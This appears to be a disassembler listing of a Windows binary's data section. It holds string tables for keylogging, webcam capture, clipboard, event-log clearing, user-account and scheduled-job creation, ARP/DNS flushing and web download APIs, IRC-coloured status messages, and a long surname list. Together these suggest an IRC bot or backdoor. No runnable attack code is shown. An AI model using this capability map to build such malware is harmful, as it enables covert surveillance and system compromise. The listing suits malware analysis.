asc_42CA38 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_402601o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
align 10h
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
align 10h
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co
align 10h
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
; sub_4185A4+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o
align 10h
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
align 10h
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o
; sub_4185A4+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo
align 10h
aSelect db 'select',0 ; DATA XREF: sub_409B12+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409B12+629o
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o
aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo
align 10h
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o
align 10h
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao
align 10h
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
align 10h
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
align 10h
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do
align 10h
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o
align 10h
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo
align 10h
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o
; sub_424D78+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
align 10h
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o
align 10h
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao
align 4
unk_42D338 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
align 10h
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
align 4
a_: ; DATA XREF: sub_40F96A+252o
unicode 0, <.>,0
unk_42D4C8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D4F8 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D528 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D54C db 2Dh ; - ; DATA XREF: sub_40AB31+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o
; sub_40BFEB+38o
align 8
aReal db 'real',0
align 10h
dd 0
dword_42D594 dd 0 ; DATA XREF: sub_40B08D+7o
off_42D598 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r
aConst db 'const',0
align 8
dd 1, 40AD22h, 7474656Ch, 7265h, 0
dd 2, 40AD80h, 706D6F63h, 2 dup(0)
dd 3, 40ADCDh, 6E756F63h, 797274h, 0
dd 4, 40AE6Bh, 736Fh, 2 dup(0)
dd 5, 40AEE0h
off_42D600 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D60C dd offset aAddison ; DATA XREF: sub_40B08D+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
